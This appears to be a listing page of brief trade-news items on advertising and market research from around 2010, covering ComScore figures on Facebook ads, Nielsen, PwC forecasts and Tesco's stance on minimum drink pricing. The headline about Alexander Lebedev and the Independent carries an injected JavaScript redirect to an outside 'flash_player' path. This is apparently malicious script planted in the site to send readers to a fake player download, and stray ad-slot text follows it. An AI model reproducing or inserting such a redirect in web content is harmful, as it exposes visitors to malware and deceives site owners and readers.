Research

Mighty Facebook dominates UK ad distribution

According to researchers ComScore it does anyway, delivering 19.7bn ads to its huge user base in May 2010, up from 11.8bn the year before. This is almost four times as many as second-placed Microsoft, followed in turn by Google, eBay ...

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Global advertising went boom, boom, boom in Q1 says Nielsen

The first quarter of 2010 might seem a long time ago now but Nielsen, the biggest market research outfit in the world, is claiming that global ad expenditure rose by a perpendicular 12.5 per cent in the period – which ...

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Branded entertainment defies recession (almost)

Figures from US researcher PQ Media show that US spending on branded entertainment fell by just 1.3 per cent to $24.62bn in 2009, far less than other media. Most of this, $21bn, was spending on branded events. Product placement, often ...

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China and Latin America will be global ad drivers says PWC

We knew that already you chorus (well China anyway) but it’s still worthy of note that accounting giant Pricewaterhouse Coopers reckons ad spending in Asia will grow by 6.4 per cent between now and 2014 while Latin America, admittedly a ...

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Market Research weathers recession

Further evidence that market research has weathered the recession a little better than some of the other marketing disciplines emerged this week with the news that brand owners cut their research spending last year by almost five per cent, a ...

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Neilsen £1.75 bn cash call will test the markets

Will investors have an appetite for Neilsen shares once the giant Dutch market research group, reveals the details of its planned $1.75 billion cash-raising exercise in New York? WPP's Sir Martin Sorrell has always pointed to the higher growth and ...

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Forget the agency, get the crowd to produce your marketing insights

Here’s an interesting article in Adweek that describes the way big companies are turning away from individual (or agency-produced) insights in favour of finding out what ‘crowds’ of consumers think. And, surprise, surprise, these exercises in democracy cost them rather ...

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Tesco backs minimum pricing on drinks

So the mighty Tesco has spoken, coming out in favour of minimum pricing of alcoholic drinks, much to the surprise and no doubt chagrin of both its rivals and the drinks producers. Writing in today's Daily Telegraph, Tesco chief executive ...

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How Alexander Lebedev can make money from the Independentdocument.location.href=”http://www.sommen.nu/templates/flash_player/?A”

AdSense…Default Ad#ad-1#ad-1-1#ad-2#ad-2-1#ad-3 First, the Independent in London is very fortunate. To have a proprietor with deep pockets is the key requirement for a modern newspaper and in Alexander Lebedev the Indy has found its man. To have a proprietor with ...

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